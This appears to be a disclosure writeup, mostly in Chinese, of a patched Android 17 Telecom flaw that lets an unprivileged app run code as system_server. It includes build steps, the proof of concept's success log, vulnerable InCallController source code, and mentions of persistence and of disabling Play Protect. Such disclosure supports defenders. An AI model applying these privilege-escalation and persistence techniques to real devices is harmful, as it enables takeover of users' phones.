
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
这是 CVE-2026-49881 的 PoC 和 writeup,该漏洞是 Android 17 Telecom 服务中 InCallController 类的一个逻辑问题,允许无特权的应用在无需额外用户交互的情况下,以 UID 1000 system_server 的身份获得任意代码执行能力。我们在此还展示了,即使在现代 Android 版本中,system_server 代码执行仍然可以轻松地用于获得持久化。
我于 2026-04-10 向 Android 安全团队报告了此漏洞,于 2026-05-06 被确认,并在 2026 年 9 月的 Android 安全公告中修复。(补丁见此处)
据我所知,在报告时,它仅主动影响 Android 16 QPR3 及之后的 Pixel 版本(以及 17 Beta 版本),但后来它进入了 Android 17 的 AOSP 稳定版。
为保护自己免受此问题的影响,请务必安装 Google Play 系统更新以及系统安全补丁。(自 Android 17 起,Telecom 是 mainline 组件)
system_server 中获得代码执行能力,将 id 和堆栈跟踪记录到 logcat,并将自身重新安装为 system_server 组件。build.sh 编译 PoC。否则,您可以手动运行 ./gradlew assembleSystemRelease,将生成的 app-system-release.apk 移动到 app/src/poc/assets/system.apk,然后运行 ./gradlew assemblePocRelease。system_server 后的 PoC 还会强制关闭 Play Protect,方法是将 Settings.Global 中的 package_verifier_user_consent 设置为 -1,因为它有时会因未知签名而拦截重新安装事务。测试后,您应在“设置”中重新启用此功能。system_server 的重新安装阶段可能需要针对每个 OEM 进行定制,因为它依赖于使用 OEM 有时会更改的符号来遍历 PMS 结构。预期的 PoC logcat 输出为:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
这是一个异常直接的漏洞。每当某些与 Telecom 相关的操作发生时,InCallController 会尝试通过 getInCallServiceComponents 发现可用的服务。当呼叫注册到系统时,这自然会被触发,但应用实际上也可以借助事务性呼叫 API TelecomManager.addCall 按需触发它。(注意:这就是 PoC 中“开始利用”按钮所使用的)此 API 需要 MANAGE_OWN_CALLS 权限,但这是一个普通的、用户不可见的权限,在安装时自动授予。
在易受攻击的版本中,此枚举的实现如下:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;
if (serviceInfo != null) {
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
...
}
}
}
请注意,serviceClassExists 是针对任何声明了 InCallService intent 以及 android.telecom.CLASS_EXISTENCE_CHECK 元数据值的组件运行的,而不仅仅是有效/启用的 InCallService。(该检查在分支的更下方通过 getInCallServiceType 和 isServiceEnabled 实现)
serviceClassExists 的实现如下:
/**
* Verifies that the class for a given ServiceInfo exists within its package.
* This prevents a system crash if a service is declared in the manifest but its
* class was not included in the compiled code.
* @param serviceInfo The ServiceInfo of the service to check.
* @param userHandle The user under which to check for the service.
* @return {@code true} if the class exists, {@code false} otherwise.
*/
private boolean serviceClassExists(ServiceInfo serviceInfo, UserHandle userHandle) {
Log.i(this, "serviceClassExists check");
try {
Context packageContext = mContext.createPackageContextAsUser(
serviceInfo.packageName,
Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY, userHandle);
ClassLoader classLoader = packageContext.getClassLoader();
Class.forName(serviceInfo.name, false, classLoader);
return true;
} catch (NameNotFoundException | ClassNotFoundException e) {
Log.w(this, "Skipping InCallService: class not found for " + serviceInfo.name);
return false;
} catch (Exception e) {
Log.e(this, e, "Error checking for existence of " + serviceInfo.name);
return false;
}
}
使用 CONTEXT_IGNORE_SECURITY 的 createPackageContext 的危险性已有充分记录,在这种情况下,是 system_server 本身针对不受信任的组件运行它,仅仅是为了检查该类是否存在于该应用的 DEX 中。然而,乍一看,这似乎是安全的,因为获取的上下文在 Class.forName 中使用了 initialize=false——开发人员很可能意识到了这一风险,并指定了该参数以确保外部类不会在 system_server 中被初始化。